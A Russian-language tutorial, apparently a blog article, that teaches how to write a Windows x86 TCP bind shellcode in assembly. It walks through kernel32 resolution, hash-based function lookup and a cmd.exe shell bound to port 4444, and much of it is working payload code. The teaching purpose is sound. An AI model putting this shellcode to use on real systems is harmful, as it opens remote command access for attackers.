Пишем шеллкод под Windows на ассемблере

в 6:46, , рубрики: shellcode, windows shellcode, windows shellcoding, информационная безопасность, разработка под windows, реверс-инжиниринг

image

В этой статье я хочу показать и подробно объяснить пример создания шеллкода на ассемблере в ОС Windows 7 x86. Не смотря на солидный возраст данной темы, она остаётся актуальной и по сей день: это стартовая точка в написании своих шеллкодов, эксплуатации переполнений буферов, обфускации шеллкодов для сокрытия их от антивирусов, внедрения кода в исполняемый файл (PE Backdooring). В качестве примера я выбрал TCP bind shellcode, т.к. на мой взгляд — это лучший пример, потому что все остальные базовые шеллкоды имеют много общего с ним. Статья будет полезна для специалистов по информационной безопасности, пентестеров, начинающих реверс-инженеров и всем, кто желает разобраться в базовых принципах работы ОС Windows. Плюсом — улучшаются навыки программирования. Начнём, как и всегда, с подготовки.

Подготовка

Для хорошего понимания статьи вам понадобятся:

  • базовые знания ассемблера. В статье код написан на NASM Intel x86;
  • базовые знания системного программирования для ОС Windows или хотя бы Linux.

Поскольку весь код шеллкода будет на ассемблере необходимо определить ряд правил, которых мы будем придерживаться в процессе написания шеллкода:

  • каждая подпрограмма (функция) использует свой стековый фрейм;
  • аргументы функции помещаются в стэк перед адресом возврата из этой функции;
  • перед началом работы функции выделяется необходимое место в памяти для локальных переменных, используемых в функции;
  • результат выполнения функции сохраняем в регистре EAX. Также делают и системные функции Windows.

Это общепринятые правила программирования на ассемблере и по своему опыту добавлю — благодаря им код становится понятнее. Однако ими можно пренебрегать в случаях, когда, например, мало места для написания полноценного шеллкода.

Инструменты

  • Windows 7 x86. Я её установил в качестве гостевой виртуальной ОС;
  • любой отладчик. Мне нравятся ollydbg и immunity debugger;
  • winrepl — программа, что позволяет выполнять инструкции ассемблера в режиме реального времени. Очень помогает, чтобы тестировать малые участки кода;
  • PEview — программа для анализа структуры исполняемых файлов и библиотек. В нашем случае полезна для анализа библиотек: kernel32.dll ws2_32.dll. Во время работы с ней я столкнулся с одним небольшим недостатком — старшие байты адресов функций и библиотек отличаются от адресов этих же функций и библиотек в ходе выполнения инструкций в шеллкоде;
  • компиляторы nasm и gcc для создания исполняемых файлов из кода ассемблера;
  • Любой дистрибутив Linux. Я использовал Ubuntu 20.04 в качестве хостовой ОС. Необходимо для использования утилит: objdump, grep и т.д.

python-скрипт для преобразования имени функции в хэш. Хэш от имени функции необходим для работы алгоритма поиска, который будет рассмотрен далее.

string2hash.py

#!/usr/bin/python
# -*- coding: utf-8 -*-
# string2hash.py

import sys

def ROR(data, shift, size=32):
    shift %= size
    body = data >> shift
    remains = (data << (size - shift)) - (body << size)
    return (body + remains)

if len(sys.argv) != 2:
    print("Enter  argument: string")
    sys.exit(0)

word = sys.argv[1]
result = 0

for i in word:
    result = ROR(result, 13)
    result += ord(i)

print(hex(result))

В процессе написания шеллкода я буду кратко описывать аргументы используемых системных функций. Для более подробного изучения возможных значений аргументов можете воспользоваться ссылками на официальную документацию, которые будут даны к каждой функции.

Общий алгоритм шеллкода

По сравнению с созданием шеллкодов в Linux, где нужные нам системные вызовы имеют свои уникальные номера, в Windows дела обстоят несколько сложнее. Во-первых, чтобы вызвать необходимую системную функцию нам необходимо знать её точный адрес в памяти, а поскольку все современные ОС имеют Address Space Layout Randomization (ASLR), то необходимо реализовать алгоритм, который будет находить адреса нужных нам функций без привязки к конкретным адресам. Во-вторых, аргументы функции помещаются не в регистры процессора, а в стэк. Учитывая вышесказанное, общий алгоритм шеллкода будет таким:

  1. Найти адрес kernel32.dll. В этой библиотеке находятся функции, необходимые для дальнейшей работы нашего шеллкода;
  2. Найти адреса функций kernel32.dll: CreateProcessA, LoadLibraryA, ExitProcess, GetProcAddress;
  3. Загрузить в адресное пространство нашего процесса библиотеку ws2_32.dll при помощи LoadLibraryA. Это необходимо, чтобы пользоваться функциями этой библиотеки для работы с сокетами такими как: WSASocketA, bind, listen и т.д.;
  4. Найти адреса функций библиотеки ws2_32.dll: WSAStartup, WSASocketA, bind, listen, accept;
  5. После того, как все необходимые функции найдены, можно приступать к их вызовам:

    — Инициация использования нашим процессом библиотеки Winsock DLL: WSAStartup;
    — Создание сокета: WSASocket;
    — Привязка его к интерфейсу: bind;
    — Перевод созданного сокета в состояние listening;
    — Приём входящего сетевого соединения: accept;
    — Создание процесса командной оболочки cmd.exe для выполнения команд в ОС по сети;
    — Завершение родительского процесса: ExitProcess.

Написание шеллкода

Определение адреса библиотеки kernel32.dll

Для каждого потока (выполнение нашего кода происходит в потоке) в Windows есть структура, в которой хранится информация о процессе, в котором живёт наш поток. Мы можем обратиться за этой информацией. Хорошее объяснение что это за структура можно найти здесь. Адрес kernel32.dll мы можем получить из следующей цепочки:

  1. Из TEB структуры получаем адрес PEB-структуры;
  2. Находим указатель LoaderDataPointer который указывает на другую структуру: PEB_LDR_DATA;
  3. После находим InMemoryOrderModuleList
  4. Находим 2 и 3 вхождения.
  5. После чего получаем адрес kernel32.dll.

Получение адреса kernel32.dll

;=====================================
; Find kernel32.dll base
; kernel32.dll in high address space
; that's why we don't need to xor eax
;=====================================
find_kernel32:
    mov eax, [fs:0x30]		; PEB
    mov eax, [eax + 0x0c]	; PEB->Ldr
    mov eax, [eax + 0x14]	; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
    mov eax, [eax]		; 2nd Entry
    mov eax, [eax]		; 3rd Entry
    mov eax, [eax + 0x10]	; address of kernel32.dll
    ret

Подобные участки кода удобно анализировать в winrepl'е.

Алгоритм поиска функций

После того как нашли адрес kernel32.dll мы сможем находить адреса функций внутри этой библиотеки. Чтобы лучше понять алгоритм поиска функций в библиотеке нам понадобится PEview. В этой программе открываем C:WindowsSystem32kernel32.dll. Тем, кто хочет более детально разобрать структуру PE (.exe) файлов, рекомендую почитать здесь. Затем в искомой библиотеке (в нашем случае kernel32.dll) находим Offset to New EXE Header:

PEView kernel32.dll — offset to new EXE header

image

После того как нашли нужное смещение, находим адрес EXPORT Table:

PEView kernel32.dll — Export Tables

image

В этой таблице нас будут интересовать следующие значения:

  • адрес Address Table. Она содержит адреса функций библиотеки;
  • адрес Name Pointer Table. Она содержит имена функций библиотеки;
  • адрес Ordinal Table. Она содержит значения, которое используется для подсчёта смещения в таблице Address table;
  • общее количество функций в библиотеке.

PEView kernel32.dll — Image Export Directory: RVA of tables

image

В случае с общим количеством функций есть 2 нюанса. 1-ый нюанс заключается в том, что иногда количество функций, полученное из файла может не совпадать с количеством имён функций самой библиотеки, тогда в нашем алгоритме поиска возникнет исключение и его необходимо обработать. С другой стороны, зная количество функций, мы можем остановить поиск, когда дойдём до 0, таким образом, корректно завершая цикл. 2-ой нюанс в том, что если вы точно уверены в том, что вы найдёте нужную функцию в библиотеке, то вам не нужно знать и использовать общее количество функций. В таком случае необходимо переделать цикл поиска имени функций: не уменьшать счётчик от общего числа функций к 0, а увеличивать на 1 начиная с 0.

При поиске от общего количества функций к 0 в ws2_32.dll у меня возникало исключение, поэтому, можно или использовать системную функцию GetProcAddress, которая позволяет средствами системы получать адрес искомой функции, или переделать алгоритм поиска функций, как описано выше: от 0 и выше.

С учетом вышесказанного, напишем алгоритм, который может искать функции в любой библиотеке. Это полезно в случае, когда нам нужно искать не только в kernel32.dll, но и, например, в ws2_32.dll. Как аргументы мы передаём хэш имени функции (алгоритм хэширования будет рассмотрен чуть позже), и базовый адрес самой библиотеки, в которой будем производить поиск.

Алгоритм поиска адреса функции в библиотеке

;=====================================
;	Find function name
;=====================================
; 2 arguments: hash of function name, base of dll
;=====================================
find_function_name:
	xor esi, esi		; clear ESI register
	push ebp		; save old EBP
	mov ebp, esp		; new stack frame
	sub esp, 0xc		; 3 local variables: 12 bytes
	mov ebx, [ebp + 0x0C]	; save <>.dll absolute address in ebx
	mov ebx, [ebx + 0x3c]	; offset to New EXE Header
	add ebx, [ebp + 0x0C]	; absolute address to New EXE Header
	mov ebx, [ebx + 0x78]	; RVA of Export table
	add ebx, [ebp + 0x0C]	; Absolute address of 
				; Export table IMAGE_EXPORT_DIRECTORY
;=====================================
;	0x14 - Number of Functions
;	0x1c - Address Table RVA
;	0x20 - Name Pointer Table RVA
;	0x24 - Ordinal Table RVA
;=====================================
	mov eax, [ebx + 0x1c]	; RVA of Address Table
	add eax, [ebp + 0x0C]	; Absolute address of Address Table
	mov [ebp - 0x4], eax	; 1st local variable: base of Address Table
	
	mov eax, [ebx + 0x20]	; RVA of Name Pointer Table
	add eax, [ebp + 0x0C]	; Absolute address of Name Pointer Table
	mov [ebp - 0x8], eax	; 2nd local variable: base of Name Pointer Table
	
	mov eax, [ebx + 0x24]	; RVA of Ordinal Table
	add eax, [ebp + 0x0C]	; Absolute address of Ordinal table
	mov [ebp - 0x0C], eax	; 3rd local variable: base of Ordinal table

	mov ecx, [ebx + 0x14]	; Number of functions
	mov ebx, [ebp - 0x8]	; place address of Name Pointer Table

;=====================================
;	Fund function loop
;=====================================
find_function_loop:
	jecxz find_function_finished ; if ecx = 0 => end
	dec ecx			; moving from Number of functions => 0
	mov esi, [ebx + 4*ecx]	; get RVA of next function name
	add esi, [ebp + 0x0C]	; base of function name

compute_hash:
	xor edi, edi
	xor eax, eax
compute_hash_again:
	lodsb			; load char of function name
	test al, al		; is it end of function name? 
	jz compute_hash_finished ; end
	ror edi, 0xd		; bitwise shift right
	add edi, eax
	jmp compute_hash_again
compute_hash_finished:
find_function_compare:
	cmp edi, [ebp + 0x8]	; compare our hash with calculated
	jnz find_function_loop
;=====================================
;	Get address of Function
;=====================================
	mov ebx, [ebp - 0x0c]	; get ordinal table base
	mov cx, [ebx + 2 * ecx]	; extract relative offset of function
	mov eax, [ebp - 0x4]	; get base of Address table
	mov eax, [eax + ecx*4]	; get RVA of our function
	add eax, [ebp + 0x0C]	; get base of our function
find_function_finished:
	leave			; mov esp, ebp; pop ebp
	ret

В начале алгоритма (метка find_function_name) поиска функции очищаем регистр ESI, подготавливаем стековый фрейм, находим все необходимые для нас таблицы и сохраняем их в локальные переменные (код до комментария «Find function loop»).

После чего, начинается цикл поиска функций. Сперва проверяется значение регистра ECX. Если мы прошли всё количество функций, указанных в библиотеке, то поиск завершен (инструкция jecxz find_function_finished). Если нет, то находим имя функции из таблицы Name Pointer Table в соответствии с значением нашего счётчика. Затем, высчитываем хэш для полученного имени. Хэш высчитывается от имени функции с использованием побитового сдвига (метка compute_hash_again).Полученное значение сохранятся в EDI. Когда нашли конец строки, то считаем, что хэш подсчитан и затем сравниваем его с нашим искомым хэшем. Конечно, нам необходимо просчитать хэши нужных нам функций заранее, можно при помощи скрипта, который указан в разделе «Подготовка». Если хэш не совпадает, то мы берём следующую функцию и продолжаем поиск (инструкция jnz find_function_loop). Если же хэш совпал, то по Ordinal Table находим адрес смещения нашей функции в таблице Address Table и затем высчитываем адрес нашей искомой функции (комментарий Get address of Function). Поначалу, шаг с получением смещения из ordinal table мне казался избыточным и я просто находил смещение умножая значение счётчика (в ECX, порядковый номер функции) на 4 (каждые 4 байта для новой функции по таблице). Однако это работало далеко не всегда, переделав алгоритм с использованием ordinal table, мой код стал находить нужные функции всегда. Сохраняем результат в EAX и переходим к написанию основного тела шеллкода.

Тело шеллкода

Когда мы реализовали все необходимые для нас алгоритмы поиска, мы можем приступать к написанию основной части нашего шеллкода.

Общее описание кода шеллкода

_main
<сохранение значений регистров, флагов, создание нового стекового фрейма>
<find kernel32.dll>
<find function name>
start
<Выделяем место для локальных переменных.>
...

Перед работой нашего шеллкода желательно сохранить данные регистров и флагов, которые были до начала работы, эта практика поможет нам при внедрении нашего кода в тело другой программы. Локальные переменные для шеллкода выглядят следующим образом:

Описание локальных переменных

start:
	sub esp, 0x28		; 40 bytes = 10 local variables
	; 0x4 		CreateProcessA 
	; 0x8		LoadLibraryA
	; 0x0C		ExitProcess
	; 0x10		GetProcAddress
	; 0x14		ws2_32.dll
	; 0x18		WSAStartup
	; 0x1c		WSASocketA
	; 0x20		bind 
	; 0x24		listen
	; 0x28		accept

После чего находим адреса функций:

Поиск адресов функций

;=====================================
; 	Find addresses of functions in kernel32.dll
;=====================================
	call find_kernel32	; find kernel32.dll
	push eax		; save address of kernel32.dll
	; CreateProcessA
	push 0x16b3fe72		; hash of CreateProcessA
	call find_function_name	; в eax получаем return
	mov [ebp - 0x4], eax	; place into local address of CreateProcessA
	
	; LoadLibraryA
	mov eax, 0xec0e4e8e	; hash of LoadLibrary
	mov [esp], eax		; argument to find_function_name
	call find_function_name	; find LoadLibraryA in kernel32.dll
	mov [ebp - 0x8], eax	; save LoadLibrary address
	
	; ExitProcess
	mov eax, 0x73e2d87e	; hash of Exit Process
	mov [esp], eax		; argument to find_function_name
	call find_function_name	; find ExitProcess in kernel32.dll
	mov [ebp - 0x0C], eax	; save ExitProcess address
	
	; GetProcAddress 0x7c0dfcaa
	mov eax, 0x7c0dfcaa	; hash of GetProcAddress
	mov [esp], eax		; argument to find_function_name
	call find_function_name	; find GetProcAddress in kernel32.dll
	mov [ebp - 0x10], eax	; save GetProcAddress address

  • CreateProcessA — нужна для создания процесса cmd.exe.
  • LoadLibraryA — нужна для загрузки в адресное пространство нашего процесса библиотеки ws2_32.dll. Функции сокетов находятся в ней. Без вызова этой функции с параметром ws2_32.dll мы не сможем пользоваться функциями сокетов.
  • ExitProcess — нужна для выхода из родительского процесса
  • GetProcAddress — нужна, чтобы средставми ОС находить адреса нужных нам функций и библиотек.

GetProcAddress позволяет находить адрес нужной функции без алгоритма поиска. Благодаря этой функции можно просто передавать необходимые ей аргументы, вызывать её и получать результат в EAX.

После чего вызываем LoadLibraryA со строкой ws2_32.dll в качестве аргумента. Данная функция принимает 1 аргумент — указатель на строку с именем библиотеки. В нашем случае указатель на ws2_32.dll.

Загрузка модуля ws2_32.dll

;=====================================
; 	Load ws2_32.dll
;=====================================
	push 0x00003233		; 32.dll
	push 0x5f327377		; ws2_
	mov ebx, esp		; place address in ebx
	push ebx		; pointer to string library
	call [ebp - 0x8]	; call LoadLibraryA
	
	mov [ebp - 0x14], eax	; save address of ws2_32.dll

Затем находим адреса функций:

WSAStartup
WSASocketA
bind
listen
accept

Поиск функций осуществляется при помощи GetProcAddress.

Аргументы GetProcAddress:
HMODULE hModule, — адрес библиотеки в которой ищем функцию, т.е. адрес ws2_32.dll
LPCSTR lpProcName — указатель на имя функции. При каждом вызове создаём новый указатель на строку с именем искомой функции.

Поиск функций библиотеки ws2_32.dll

;=====================================
; 	Find WSAStartup
;=====================================
	push 0x00007075		; Push WSAStartup
	push 0x74726174
	push 0x53415357
	mov ebx, esp
	push ebx		; pushed pointer to WSAStartup
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax
	call [ebp - 0x10]	; call GetProcAddress
	mov [ebp - 0x18], eax	; save address of WSAStartup

;=====================================
;	Find WSASocketA
;=====================================
	push 0x00004174		; push WSASocketA
	push 0x656b636f
	push 0x53415357
	mov ebx, esp
	push ebx		; pointer to string function -> WSASocketA
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax		; address of ws2_32.dll to stack
	call [ebp - 0x10]	; call GetProcAddress
	mov [ebp - 0x1c], eax	; save address of WSASocketA
	
;=====================================
;	Find bind
;=====================================
	xor eax, eax
	push eax
	push 0x646e6962		; push bind
	mov ebx, esp
	push ebx
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax		; pointer to address
	call [ebp - 0x10]	; GetProcAddress
	mov [ebp - 0x20], eax	; save address of ws2_32.bind

;=====================================
;	Find listen
;=====================================
	push 0x00006e65		; listen
	push 0x7473696c
	mov ebx, esp
	push ebx
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax		; pointer to address
	call [ebp - 0x10]	; GetProcAddress
	mov [ebp - 0x24], eax	; save address of ws2_32.listen

;=====================================
;	Find accept
;=====================================
	push 0x00007470	; accept
	push 0x65636361
	mov ebx, esp
	push ebx
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax		; pointer to address
	call [ebp - 0x10]	; GetProcAddress
	mov [ebp - 0x28], eax	; save address of ws2_32.accept

Теперь необходимо инициализировать Winsock DLL нашим процессом, для использования функций библиотеки ws2_32.dll, таких как: WSASocket, bind, listen, accept. Помним, что аргументы для функций передаются в обратном порядке, поскольку помещаются в стэк. Вызываем WSAStartup.

Аргументы WSAStartup:

WORD wVersionRequired — версия спецификации Windows Sockets. Устанавливаем в 0x00000202;
LPWSADATA lpWSAData — указатель на область памяти, в которую будут записаны детали имплементации Windows Socket. Необходимо создать такую область памяти размером 400 байт (именно такой размер у этой структуры) и отдать указатель на неё.

Вызов WSAStartUP

;=====================================
;	Call WSAStartup
;=====================================
	xor ecx, ecx
	mov cx, 400		; Create space for WSAdata structure.
	sub esp, ecx
	mov ebx, esp
	mov cx, 0x00000202	; version for WSAstartup
	push ebx
	push ecx
	call [ebp - 0x18]	; Call WSAStartup

Затем создаём сокет WSASocketA.

Аргументы WSASocketA:

int af — спецификация семейства адресов. Будем использовать IPv4, потому указываем 2;
int type — тип сокета. Нас интересует SOCK_STREAM, поскольку хотим использовать TCP — 1;
int protocol — оставляем в 0;
LPWSAPROTOCOL_INFOA lpProtocolInfo — оставляем в 0;
GROUP g — группа сокетов, к которой будет относится созданный сокет. Здесь также оставляем 0;
DWORD dwFlags — нам дополнительные параметры для сокета не нужны, поэтому он равен 0.

После этого вызываем функцию WSASocketA, созданный дескриптор сокета система оставит в EAX, его необходимо сохранить.

Вызов WSASocketA

;=====================================
;	Create Socket
;=====================================
	xor eax, eax
	push eax			; dwFlags
	push eax			; g
	push eax			; lpProtocolInfo
	push eax			; protocol
	inc eax
	push eax			; type = SOCK_STREAM = 1
	inc eax
	push eax			; af = AF_INET = 2
	call [ebp - 0x1c]		; Call WSASocketA
	mov esi, eax			; save socket descriptor

Следом идёт вызов функции bind.

Её необходимо вызвать для связи созданного сокета с локальным адресом.

Аргументы bind:
SOCKET s, — дескриптор сокета, который мы привязываем к интерфейсу. Мы его положили в ESI;
const sockaddr *addr, — указатель на область памяти, где хранится структура sockaddr. Структуру сначала необходимо заполнить и затем отдать указатель на неё;
int namelen — размер структуры sockaddr, 16 байт.

Вызов bind

;=====================================
;	Call Bind
;=====================================
	; creating sockaddr_in structure
	xor eax, eax
	push eax			; 0 - all interfaces
	push WORD 0x5c11		; 4444 port
	push WORD 2			; sin_family = AF_INET = 2
	mov ebx, esp			; set pointer to struct sockaddr_in
	; placing arguments
	xor eax, eax
	mov al, 0x10			; size of struct sockaddr_in
	push eax			; Push the namelen argument which has been set to 16.
	push ebx			; Push the name argument which has been set to the initialized struct sockaddr in on the
	; stack.
	push esi			; socket descriptor
	call [ebp - 0x20]		; Calling Bind

Затем идёт вызов функции listen. Данная функция переводит сокет в состояние ожидания входящего соединения.

Аргументы listen:

SOCKET s, — дескриптор сокета, который будем переводить в listening. По-прежнему в ESI;
int backlog — максимальная длина очереди ожидающих соединений. В нашем случае не меньше 1.

Вызов listen

;=====================================
;	Listen
;=====================================
listen:
	push 0x10		; int backlog
	push esi		; socket
	call [ebp - 0x24]	; Listen

После того как перевели созданный сокет в состояние listening можем принимать входящие соединения: accept.

Аргументы accept:
SOCKET s, — дескриптор сокета, который ожидает соединение. Снова в ESI;
sockaddr *addr, — указатель на буфер, который принимает информацию о входящем соединении. Структуру заполнять не надо;
int *addrlen — указатель на целочисленное значение длины структуры на которую указывает addr параметр: 16 байт;

Вызов accept

;=====================================
;	Accept
;=====================================
	xor ebx, ebx			; zero ebx
	mov ebx, 0x10			; place size of struct
	push ebx			; we need pointer to size
	mov edx, esp			; pointer to size
	sub esp, ebx			; a place for sockaddr in structure of client
	mov ecx, esp			; pointer to this place
	push edx
	push ecx
	push esi			; socket descriptor
	call [ebp - 0x28]		; call accept
	mov esi, eax			; save client descriptor

Когда к нашему сокету подключится клиент, данная функция вернет целочисленный дескриптор вновь созданного сокета. После того, как приняли входящее соединение, нам необходимо вызвать командную оболочку, чтобы появилась возможность удаленного выполнения команд. Функция, у которой больше всего аргументов — CreateProcessA.

Аргументы:

LPCSTR lpApplicationName — Имя приложения. Для нас не обязателен, 0;
LPSTR lpCommandLine — Имя команда. cmd.exe;
LPSECURITY_ATTRIBUTES lpProcessAttributes — указатель на атрибуты процесса, 0;
LPSECURITY_ATTRIBUTES lpThreadAttributes — указатель на атрибуты потока, 0;
BOOL bInheritHandles — если в TRUE, то создаваемый процесс унаследует дескрипторы от процесса-создателя, 1.
DWORD dwCreationFlags — флаги контроля класса приоритета и создания процесса. Для нас 0.
LPVOID lpEnvironment — указатель на блок окружения для нового процесса. Для нас 0
LPCSTR lpCurrentDirectory — полный путь к текущей директории процесса. Для нас 0
LPSTARTUPINFOA lpStartupInfo — указатель на STARTUPINFO или STARTUPINFOEX структуру.
LPPROCESS_INFORMATION lpProcessInformation — указатель на PROCESS_INFORMATION структуру.

Вызов CreateProcessA

;=====================================
; Call cmd.exe
;=====================================
	push 0x657865
	push 0x2e646d63		; cmd.exe
	mov [ebp - 0x2c], esp

	xor ecx, ecx		; zero ecx
	mov cl, 0x54		; size of STARTUPINFO
	sub esp, ecx		; allocate space for the two structures
	mov edi, esp		; set edi to point to STARTUPINFO structure
	push edi		; Preserve edi on the stack as it will be modified 
				; by the following instructions
	xor eax, eax		; Zero eax to for use with stosb to zero 
				; out the two structures.
	rep stosb		; Repeat storing zero at the buffer starting at edi 
				; until ecx is zero.
	pop edi			; restore edi
	mov byte [edi], 0x44	; Set the cb attribute of STARTUPINFO to 0x44 
				; (the size of the structure).
	inc byte [edi + 0x2d]	; dwFlags: Set the STARTF USESTDHANDLES flag
				; to indicate that the hStdInput, hStdOutput, 
				; and hStdError attributes should be used.
	push edi		;preserve edi again as it will be modified by the stosd
	mov eax, esi		; place socket descriptor into eax
	lea edi, [edi + 0x38]	; Load the effective address of the hStdInput 
				; attribute in the STARTUPINFO structure.
	stosd			; Set the hStdInput attribute to the file 
				; descriptor returned from WSASocket.
	stosd			; Set the hStdOutput attribute to the file 
				; descriptor returned from WSASocket.
	stosd			; Set the hStdError attribute to the file 
				; descriptor returned from WSASocket.
	pop edi			; Restore edi to its original value
	xor eax, eax
	lea esi, [edi + 0x44]	; Load the effective address of 
				; the PROCESS INFORMATION structure into esi.
	push esi		; Push the pointer to the lpProcessInformation str-e
	push edi		; Push the pointer to the lpStartupInfo structure.
	
	push eax		; Push the lpStartupDirectory argument as NULL.
	push eax		; Push the lpEnvironment argument as NULL.
	push eax		; Push the dwCreationFlags argument as 0.
	inc eax					
	push eax		; Push the bInheritHandles argument as 
				; TRUE due to the fact that the
				; client needs to inherit the socket file descriptor.
	dec eax
	push eax		; Push the lpThreadAttributes argument as NULL.
	push eax		; Push the lpProcessAttributes argument as NULL.
	
	mov eax, [ebp - 0x2c]
	push eax		; Push the lpCommandLine argument as the pntr to 'cmd’
	xor eax, eax
	push eax		; Push the lpApplicationName argument as NULL.
	call [ebp - 0x4]	; Call CreateProcessA

И завершаем наш шеллкод завершением родительского процесса.

	call [ebp - 0x0C]	; Call ExitProcess
	ret

Теперь сложим это всё вместе.

Весь шеллкод

    global  _main

    section .text
_main:
	pushad
	pushfd
	push ebp
	mov ebp, esp
	jmp start
;=====================================
; Find kernel32.dll base
; kernel32.dll in high address space
; that's why we don't need to xor eax
;=====================================
find_kernel32:
    mov eax, [fs:0x30]		; PEB
    mov eax, [eax + 0x0c]	; PEB->Ldr
    mov eax, [eax + 0x14]	; PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
    mov eax, [eax]		; 2nd Entry
    mov eax, [eax]		; 3rd Entry
    mov eax, [eax + 0x10]	; address of kernel32.dll
    ret
;=====================================
;	Find function name
;=====================================
; 2 arguments: hash of function name, base of dll
;=====================================
find_function_name:
	xor esi, esi		; clear ESI register
	push ebp		; save old EBP
	mov ebp, esp		; new stack frame
	sub esp, 0xc		; 3 local variables: 12 bytes
	mov ebx, [ebp + 0x0C]	; save <>.dll absolute address in ebx
	mov ebx, [ebx + 0x3c]	; offset to New EXE Header
	add ebx, [ebp + 0x0C]	; absolute address to New EXE Header
	mov ebx, [ebx + 0x78]	; RVA of Export table
	add ebx, [ebp + 0x0C]	; Absolute address of 
				; Export table IMAGE_EXPORT_DIRECTORY
;=====================================
;	0x14 - Number of Functions
;	0x1c - Address Table RVA
;	0x20 - Name Pointer Table RVA
;	0x24 - Ordinal Table RVA
;=====================================
	mov eax, [ebx + 0x1c]	; RVA of Address Table
	add eax, [ebp + 0x0C]	; Absolute address of Address Table
	mov [ebp - 0x4], eax	; 1st local variable: base of Address Table
	
	mov eax, [ebx + 0x20]	; RVA of Name Pointer Table
	add eax, [ebp + 0x0C]	; Absolute address of Name Pointer Table
	mov [ebp - 0x8], eax	; 2nd local variable: base of Name Pointer Table
	
	mov eax, [ebx + 0x24]	; RVA of Ordinal Table
	add eax, [ebp + 0x0C]	; Absolute address of Ordinal table
	mov [ebp - 0x0C], eax	; 3rd local variable: base of Ordinal table

	mov ecx, [ebx + 0x14]	; Number of functions
	mov ebx, [ebp - 0x8]	; place address of Name Pointer Table

;=====================================
;	Fund function loop
;=====================================
find_function_loop:
	jecxz find_function_finished ; if ecx = 0 => end
	dec ecx			; moving from Number of functions => 0
	mov esi, [ebx + 4*ecx]	; get RVA of next function name
	add esi, [ebp + 0x0C]	; base of function name

compute_hash:
	xor edi, edi
	xor eax, eax
compute_hash_again:
	lodsb			; load char of function name
	test al, al		; is it end of function name? 
	jz compute_hash_finished ; end
	ror edi, 0xd		; bitwise shift right
	add edi, eax
	jmp compute_hash_again
compute_hash_finished:
find_function_compare:
	cmp edi, [ebp + 0x8]	; compare our hash with calculated
	jnz find_function_loop
;=====================================
;	Get address of Function
;=====================================
	mov ebx, [ebp - 0x0c]	; get ordinal table base
	mov cx, [ebx + 2 * ecx]	; extract relative offset of function
	mov eax, [ebp - 0x4]	; get base of Address table
	mov eax, [eax + ecx*4]	; get RVA of our function
	add eax, [ebp + 0x0C]	; get base of our function
find_function_finished:
	leave			; mov esp, ebp; pop ebp
	ret
;=====================================
;	Start
;=====================================
start:
	sub esp, 0x28		; 40 bytes = 10 local variables
	; 0x4 		CreateProcessA 
	; 0x8		LoadLibraryA
	; 0x0C		ExitProcess
	; 0x10		GetProcAddress
	; 0x14		ws2_32.dll
	; 0x18		WSAStartup
	; 0x1c		WSASocketA
	; 0x20		bind 
	; 0x24		listen
	; 0x28		accept
;=====================================
; 	Find addresses of functions in kernel32.dll
;=====================================
	call find_kernel32	; find kernel32.dll
	push eax		; save address of kernel32.dll
	; CreateProcessA
	push 0x16b3fe72		; hash of CreateProcessA
	call find_function_name	; in EAX return value
	mov [ebp - 0x4], eax	; place into local address of CreateProcessA
	
	; LoadLibraryA
	mov eax, 0xec0e4e8e	; hash of LoadLibrary
	mov [esp], eax		; argument to find_function_name
	call find_function_name	; find LoadLibraryA in kernel32.dll
	mov [ebp - 0x8], eax	; save LoadLibrary address
	
	; ExitProcess
	mov eax, 0x73e2d87e	; hash of Exit Process
	mov [esp], eax		; argument to find_function_name
	call find_function_name	; find ExitProcess in kernel32.dll
	mov [ebp - 0x0C], eax	; save ExitProcess address
	
	; GetProcAddress 0x7c0dfcaa
	mov eax, 0x7c0dfcaa	; hash of GetProcAddress
	mov [esp], eax		; argument to find_function_name
	call find_function_name	; find GetProcAddress in kernel32.dll
	mov [ebp - 0x10], eax	; save GetProcAddress address
;=====================================
; 	Load ws2_32.dll
;=====================================
	push 0x00003233		; 32.dll
	push 0x5f327377		; ws2_
	mov ebx, esp		; place address in ebx
	push ebx		; pointer to string library
	call [ebp - 0x8]	; call LoadLibraryA
	
	mov [ebp - 0x14], eax	; save address of ws2_32.dll

;=====================================
; 	Find WSAStartup
;=====================================
	push 0x00007075		; Push WSAStartup
	push 0x74726174
	push 0x53415357
	mov ebx, esp
	push ebx		; pushed pointer to WSAStartup
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax
	call [ebp - 0x10]	; call GetProcAddress
	mov [ebp - 0x18], eax	; save address of WSAStartup

;=====================================
;	Find WSASocketA
;=====================================
	push 0x00004174		; push WSASocketA
	push 0x656b636f
	push 0x53415357
	mov ebx, esp
	push ebx		; pointer to string function -> WSASocketA
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax		; address of ws2_32.dll to stack
	call [ebp - 0x10]	; call GetProcAddress
	mov [ebp - 0x1c], eax	; save address of WSASocketA
	
;=====================================
;	Find bind
;=====================================
	xor eax, eax
	push eax
	push 0x646e6962		; push bind
	mov ebx, esp
	push ebx
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax		; pointer to address
	call [ebp - 0x10]	; GetProcAddress
	mov [ebp - 0x20], eax	; save address of ws2_32.bind

;=====================================
;	Find listen
;=====================================
	push 0x00006e65		; listen
	push 0x7473696c
	mov ebx, esp
	push ebx
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax		; pointer to address
	call [ebp - 0x10]	; GetProcAddress
	mov [ebp - 0x24], eax	; save address of ws2_32.listen

;=====================================
;	Find accept
;=====================================
	push 0x00007470	; accept
	push 0x65636361
	mov ebx, esp
	push ebx
	mov eax, [ebp - 0x14]	; address of ws2_32.dll
	push eax		; pointer to address
	call [ebp - 0x10]	; GetProcAddress
	mov [ebp - 0x28], eax	; save address of ws2_32.accept
;=====================================
;	Call WSAStartup
;=====================================
	xor ecx, ecx
	mov cx, 400		; Create space for WSAdata structure.
	sub esp, ecx
	mov ebx, esp
	mov cx, 0x00000202	; version for WSAstartup
	push ebx
	push ecx
	call [ebp - 0x18]	; Call WSAStartup
;=====================================
;	Create Socket
;=====================================
	xor eax, eax
	push eax		; dwFlags
	push eax		; g
	push eax		; lpProtocolInfo
	push eax		; protocol
	inc eax
	push eax		; type = SOCK_STREAM = 1
	inc eax
	push eax		; af = AF_INET = 2
